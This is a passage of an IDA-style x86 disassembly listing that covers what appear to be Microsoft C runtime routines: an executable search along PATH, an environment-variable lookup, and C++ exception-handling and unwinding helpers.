		call	sub_428B60


loc_428E5E:				; CODE XREF: sub_428E12+39j
		add	esp, 10h
		pop	ebp
		retn
sub_428E12	endp


; =============== S U B	R O U T	I N E =======================================



sub_428E63	proc near		; CODE XREF: sub_428BC1+27p
					; sub_428CD8+47p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_428E86
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_422120
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_423C20
		add	esp, 10h
		pop	esi


loc_428E86:				; CODE XREF: sub_428E63+7j
		pop	edi
		retn
sub_428E63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428E88	proc near		; CODE XREF: sub_423517+96p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_428FED
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	loc_428FE6
		call	sub_426528
		cmp	dword ptr [eax], 2
		jnz	loc_428FE6
		push	2Fh
		push	[ebp+arg_4]
		call	sub_42CA33
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_428FE6
		push	offset aPath_0	; "PATH"
		call	sub_429187
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	loc_428FE6
		push	104h
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_428FE6
		push	ebx
		mov	ebx, 103h
		push	ebx
		push	esi
		push	edi


loc_428F04:				; CODE XREF: sub_428E88+151j
		call	sub_42C9BF
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	loc_428FDE
		cmp	byte ptr [esi],	0
		jz	loc_428FDE
		push	esi
		call	sub_422120
		lea	edi, [eax+esi-1]
		pop	ecx
		mov	al, [edi]
		cmp	al, 5Ch
		jnz	short loc_428F3F
		push	5Ch
		push	esi
		call	sub_42C94D
		pop	ecx
		cmp	edi, eax
		pop	ecx
		jmp	short loc_428F41
; ---------------------------------------------------------------------------


loc_428F3F:				; CODE XREF: sub_428E88+A7j
		cmp	al, 2Fh


loc_428F41:				; CODE XREF: sub_428E88+B5j
		jz	short loc_428F50
		push	offset asc_43E8EC ; "\\"
		push	esi
		call	sub_423270
		pop	ecx
		pop	ecx


loc_428F50:				; CODE XREF: sub_428E88:loc_428F41j
		push	esi
		call	sub_422120
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_422120
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_428FDE
		push	[ebp+arg_4]
		push	esi
		call	sub_423270
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		push	[ebp+arg_0]
		call	sub_428FED
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_428FDE
		call	sub_426528
		cmp	dword ptr [eax], 2
		jz	short loc_428FD4
		push	5Ch
		push	esi
		call	sub_42CA33
		pop	ecx
		cmp	esi, eax
		pop	ecx
		jz	short loc_428FB5
		push	2Fh
		push	esi
		call	sub_42CA33
		pop	ecx
		cmp	esi, eax
		pop	ecx
		jnz	short loc_428FDE


loc_428FB5:				; CODE XREF: sub_428E88+11Dj
		lea	edi, [esi+1]
		push	5Ch
		push	edi
		call	sub_42CA33
		pop	ecx
		cmp	edi, eax
		pop	ecx
		jz	short loc_428FD4
		push	2Fh
		push	edi
		call	sub_42CA33
		pop	ecx
		cmp	edi, eax
		pop	ecx
		jnz	short loc_428FDE


loc_428FD4:				; CODE XREF: sub_428E88+10Fj
					; sub_428E88+13Cj
		push	ebx
		push	esi
		push	[ebp+var_4]
		jmp	loc_428F04
; ---------------------------------------------------------------------------


loc_428FDE:				; CODE XREF: sub_428E88+89j
					; sub_428E88+92j ...
		push	esi
		call	sub_4230B3
		pop	ecx
		pop	ebx


loc_428FE6:				; CODE XREF: sub_428E88+21j
					; sub_428E88+2Fj ...
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		leave
		retn
sub_428E88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428FED	proc near		; CODE XREF: sub_423517+4Fp
					; sub_428E88+13p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		push	5Ch
		push	ebx
		mov	edi, ebx
		call	sub_42C94D
		push	2Fh
		push	ebx
		mov	esi, eax
		call	sub_42C94D
		add	esp, 10h
		test	eax, eax
		jnz	short loc_429058
		test	esi, esi
		jnz	short loc_429062
		push	3Ah
		push	ebx
		call	sub_42CA33
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jnz	short loc_429062
		push	ebx
		call	sub_422120
		add	eax, 3
		push	eax
		call	sub_422F79
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4290BB
		push	offset a__1	; ".\\"
		push	edi
		call	sub_423260
		push	ebx
		push	edi
		call	sub_423270
		add	esp, 10h
		lea	esi, [edi+2]
		jmp	short loc_429062
; ---------------------------------------------------------------------------


loc_429058:				; CODE XREF: sub_428FED+24j
		test	esi, esi
		jz	short loc_429060
		cmp	eax, esi
		jbe	short loc_429062


loc_429060:				; CODE XREF: sub_428FED+6Dj
		mov	esi, eax


loc_429062:				; CODE XREF: sub_428FED+28j
					; sub_428FED+38j ...
		or	[ebp+var_8], 0FFFFFFFFh
		push	2Eh
		push	esi
		call	sub_42C94D
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4290A1
		push	0
		push	edi
		call	sub_424450
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	loc_429123
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_429136
		add	esp, 10h
		mov	[ebp+var_8], eax
		jmp	loc_429123
; ---------------------------------------------------------------------------


loc_4290A1:				; CODE XREF: sub_428FED+85j
		push	edi
		call	sub_422120
		add	eax, 5
		push	eax
		call	sub_422F79
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		pop	ecx
		mov	[ebp+var_4], ebx
		jnz	short loc_4290C0


loc_4290BB:				; CODE XREF: sub_428FED+4Fj
		or	eax, 0FFFFFFFFh
		jmp	short loc_429131
; ---------------------------------------------------------------------------


loc_4290C0:				; CODE XREF: sub_428FED+CCj
		push	edi
		push	ebx
		call	sub_423260
		push	edi
		call	sub_422120
		mov	esi, eax
		add	esp, 0Ch
		add	esi, ebx
		mov	ebx, offset off_44BB84


loc_4290D9:				; CODE XREF: sub_428FED+10Fj
		push	dword ptr [ebx]
		push	esi
		call	sub_423260
		push	0
		push	[ebp+var_4]
		call	sub_424450
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_429100
		sub	ebx, 4
		cmp	ebx, offset off_44BB78
		jge	short loc_4290D9
		jmp	short loc_429117
; ---------------------------------------------------------------------------


loc_429100:				; CODE XREF: sub_428FED+104j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_429136
		add	esp, 10h
		mov	[ebp+var_8], eax


loc_429117:				; CODE XREF: sub_428FED+111j
		push	[ebp+var_4]
		call	sub_4230B3
		mov	ebx, [ebp+arg_4]
		pop	ecx


loc_429123:				; CODE XREF: sub_428FED+94j
					; sub_428FED+AFj
		cmp	edi, ebx
		jz	short loc_42912E
		push	edi
		call	sub_4230B3
		pop	ecx


loc_42912E:				; CODE XREF: sub_428FED+138j
		mov	eax, [ebp+var_8]


loc_429131:				; CODE XREF: sub_428FED+D1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_428FED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429136	proc near		; CODE XREF: sub_428FED+A4p
					; sub_428FED+11Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42CCB3
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42915B
		or	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42915B:				; CODE XREF: sub_429136+1Fj
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42CACA
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_4230B3
		push	[ebp+arg_8]
		call	sub_4230B3
		add	esp, 18h
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_429136	endp


; =============== S U B	R O U T	I N E =======================================



sub_429187	proc near		; CODE XREF: sub_423517+Dp
					; sub_428E88+4Ep

arg_0		= dword	ptr  4

		push	esi
		push	0Ch
		call	sub_428436
		push	[esp+8+arg_0]
		call	sub_4291A8
		push	0Ch
		mov	esi, eax
		call	sub_428497
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn
sub_429187	endp


; =============== S U B	R O U T	I N E =======================================



sub_4291A8	proc near		; CODE XREF: sub_429187+Cp
					; sub_42D078+31p

arg_0		= dword	ptr  4

		cmp	dword_631990, 0
		push	ebx
		push	esi
		mov	esi, dword_631488
		push	edi
		jz	short loc_42921F
		test	esi, esi
		jnz	short loc_4291D9
		cmp	dword_631490, esi
		jz	short loc_42921F
		call	sub_42CEF8
		test	eax, eax
		jnz	short loc_42921F
		mov	esi, dword_631488
		test	esi, esi
		jz	short loc_42921F


loc_4291D9:				; CODE XREF: sub_4291A8+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_42921F
		push	ebx
		call	sub_422120
		pop	ecx
		mov	edi, eax


loc_4291EA:				; CODE XREF: sub_4291A8+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42921F
		push	eax
		call	sub_422120
		cmp	eax, edi
		pop	ecx
		jbe	short loc_429212
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_429212
		push	edi
		push	ebx
		push	eax
		call	sub_42CEB9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_429217


loc_429212:				; CODE XREF: sub_4291A8+51j
					; sub_4291A8+59j
		add	esi, 4
		jmp	short loc_4291EA
; ---------------------------------------------------------------------------


loc_429217:				; CODE XREF: sub_4291A8+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_429221
; ---------------------------------------------------------------------------


loc_42921F:				; CODE XREF: sub_4291A8+10j
					; sub_4291A8+1Cj ...
		xor	eax, eax


loc_429221:				; CODE XREF: sub_4291A8+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4291A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429225	proc near		; CODE XREF: .text:00423742p
					; sub_4237AB+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_42923B
		call	sub_429AED


loc_42923B:				; CODE XREF: sub_429225+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_429263
		cmp	dword ptr [esi+4], 0
		jz	short loc_4292B9
		cmp	[ebp+arg_14], 0
		jnz	short loc_4292B9
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42957A
		add	esp, 10h
		jmp	short loc_4292B9
; ---------------------------------------------------------------------------


loc_429263:				; CODE XREF: sub_429225+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_4292B9
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42929D
		cmp	[eax+14h], edi
		jbe	short loc_42929D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42929D
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_4292BC
; ---------------------------------------------------------------------------


loc_42929D:				; CODE XREF: sub_429225+4Aj
					; sub_429225+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_4292C0
		add	esp, 20h


loc_4292B9:				; CODE XREF: sub_429225+23j
					; sub_429225+29j ...
		push	1
		pop	eax


loc_4292BC:				; CODE XREF: sub_429225+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_429225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4292C0	proc near		; CODE XREF: sub_429225+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_4292E0
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_4292E5


loc_4292E0:				; CODE XREF: sub_4292C0+16j
		call	sub_429AED


loc_4292E5:				; CODE XREF: sub_4292C0+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_429448
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_429365
		cmp	[esi+14h], edi
		jnz	short loc_429365
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_429365
		call	sub_42599D
		cmp	dword ptr [eax+6Ch], 0
		jz	loc_429443
		call	sub_42599D
		mov	esi, [eax+6Ch]
		call	sub_42599D
		mov	eax, [eax+70h]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_42CF66
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_429347
		call	sub_429AED


loc_429347:				; CODE XREF: sub_4292C0+80j
		cmp	[esi], ebx
		jnz	loc_429448
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_429365
		cmp	[esi+14h], edi
		jnz	short loc_429365
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_429365
		call	sub_429AED


loc_429365:				; CODE XREF: sub_4292C0+41j
					; sub_4292C0+46j ...
		cmp	[esi], ebx
		jnz	loc_429448
		cmp	dword ptr [esi+10h], 3
		jnz	loc_429448
		cmp	[esi+14h], edi
		jnz	loc_429448
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4238FB
		add	esp, 14h
		mov	ebx, eax


loc_42939C:				; CODE XREF: sub_4292C0+16Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_429433
		cmp	[ebx], edi
		jg	short loc_429428
		cmp	edi, [ebx+4]
		jg	short loc_429428
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_429425


loc_4293C1:				; CODE XREF: sub_4292C0+13Dj
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_4293F2


loc_4293D3:				; CODE XREF: sub_4292C0+130j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_42951D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_429401
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_4293D3


loc_4293F2:				; CODE XREF: sub_4292C0+111j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_4293C1
		jmp	short loc_429425
; ---------------------------------------------------------------------------


loc_429401:				; CODE XREF: sub_4292C0+125j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_42962E
		add	esp, 2Ch


loc_429425:				; CODE XREF: sub_4292C0+FFj
					; sub_4292C0+13Fj
		mov	edi, [ebp+var_10]


loc_429428:				; CODE XREF: sub_4292C0+EAj
					; sub_4292C0+EFj
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_42939C
; ---------------------------------------------------------------------------


loc_429433:				; CODE XREF: sub_4292C0+E2j
		cmp	[ebp+arg_14], 0
		jz	short loc_429443
		push	1
		push	esi
		call	sub_4299B2
		pop	ecx
		pop	ecx


loc_429443:				; CODE XREF: sub_4292C0+57j
					; sub_4292C0+177j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_429448:				; CODE XREF: sub_4292C0+37j
					; sub_4292C0+89j ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_42946E
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_429473
		add	esp, 20h
		jmp	short loc_429443
; ---------------------------------------------------------------------------


loc_42946E:				; CODE XREF: sub_4292C0+18Cj
		jmp	sub_429A8C
sub_4292C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429473	proc near		; CODE XREF: sub_4292C0+1A4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		call	sub_42599D
		cmp	dword ptr [eax+68h], 0
		jz	short loc_4294A6
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4237D0
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_429519


loc_4294A6:				; CODE XREF: sub_429473+10j
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4238FB
		add	esp, 14h
		mov	esi, eax


loc_4294C2:				; CODE XREF: sub_429473+A4j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_429519
		cmp	edi, [esi]
		jl	short loc_429511
		cmp	edi, [esi+4]
		jg	short loc_429511
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_4294EB
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_429511


loc_4294EB:				; CODE XREF: sub_429473+70j
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42962E
		add	esp, 2Ch


loc_429511:				; CODE XREF: sub_429473+59j
					; sub_429473+5Ej ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_4294C2
; ---------------------------------------------------------------------------


loc_429519:				; CODE XREF: sub_429473+31j
					; sub_429473+55j
		pop	edi
		pop	esi
		leave
		retn
sub_429473	endp


; =============== S U B	R O U T	I N E =======================================



sub_42951D	proc near		; CODE XREF: sub_4292C0+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_429574
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_429574
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_42954E
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_429570


loc_42954E:				; CODE XREF: sub_42951D+1Fj
		test	byte ptr [esi],	2
		jz	short loc_429558
		test	byte ptr [edi],	8
		jz	short loc_429570


loc_429558:				; CODE XREF: sub_42951D+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_429567
		test	byte ptr [edi],	1
		jz	short loc_429570


loc_429567:				; CODE XREF: sub_42951D+43j
		test	al, 2
		jz	short loc_429574
		test	byte ptr [edi],	2
		jnz	short loc_429574


loc_429570:				; CODE XREF: sub_42951D+2Fj
					; sub_42951D+39j ...
		xor	eax, eax
		jmp	short loc_429577
; ---------------------------------------------------------------------------


loc_429574:				; CODE XREF: sub_42951D+Bj
					; sub_42951D+14j ...
		push	1
		pop	eax


loc_429577:				; CODE XREF: sub_42951D+55j
		pop	edi
		pop	esi
		retn
sub_42951D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42957A	proc near		; CODE XREF: sub_429225+34p
					; sub_42962E+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F5A8
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_4295AC:				; CODE XREF: sub_42957A+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_429606
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4295BB
		cmp	esi, [edi+4]
		jl	short loc_4295C0


loc_4295BB:				; CODE XREF: sub_42957A+3Aj
		call	sub_429AED


loc_4295C0:				; CODE XREF: sub_42957A+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4295DB
		push	103h
		push	ebx
		push	eax
		call	sub_429A40


loc_4295DB:				; CODE XREF: sub_42957A+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4295FB
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_429618
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4295FB:				; CODE XREF: sub_42957A+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_4295AC
; ---------------------------------------------------------------------------


loc_429606:				; CODE XREF: sub_42957A+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42957A	endp


; =============== S U B	R O U T	I N E =======================================



sub_429618	proc near		; CODE XREF: sub_42957A+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_429629
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_429629:				; CODE XREF: sub_429618+Cj
		jmp	sub_429A8C
sub_429618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42962E	proc near		; CODE XREF: sub_4292C0+15Dp
					; sub_429473+96p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_429650
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4297EE
		add	esp, 10h


loc_429650:				; CODE XREF: sub_42962E+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42965C
		push	edi
		jmp	short loc_42965F
; ---------------------------------------------------------------------------


loc_42965C:				; CODE XREF: sub_42962E+29j
		push	[ebp+arg_24]


loc_42965F:				; CODE XREF: sub_42962E+2Cj
		call	sub_4236D2
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_42957A
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_4296A9
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_4296A4
		push	edi
		push	eax
		call	sub_423690


loc_4296A4:				; CODE XREF: sub_42962E+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42962E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4296A9	proc near		; CODE XREF: sub_42962E+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F5B8
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_10]
		mov	[ebp+var_2C], ebx
		and	[ebp+var_24], 0
		mov	esi, [ebp+arg_4]
		mov	eax, [esi-4]
		mov	[ebp+var_28], eax
		call	sub_42599D
		mov	eax, [eax+6Ch]
		mov	[ebp+var_1C], eax
		call	sub_42599D
		mov	eax, [eax+70h]
		mov	[ebp+var_20], eax
		call	sub_42599D
		mov	edi, [ebp+arg_0]
		mov	[eax+6Ch], edi
		call	sub_42599D
		mov	ecx, [ebp+arg_8]
		mov	[eax+70h], ecx
		and	[ebp+var_4], 0
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	ebx
		push	[ebp+arg_C]
		push	esi
		call	sub_423757
		add	esp, 14h
		mov	[ebp+var_2C], eax
		and	[ebp+var_4], 0
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_429776
		mov	eax, [ebp+var_2C]


loc_42973F:				; CODE XREF: sub_429758+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4296A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42974E	proc near		; DATA XREF: .text:0042F5C8o
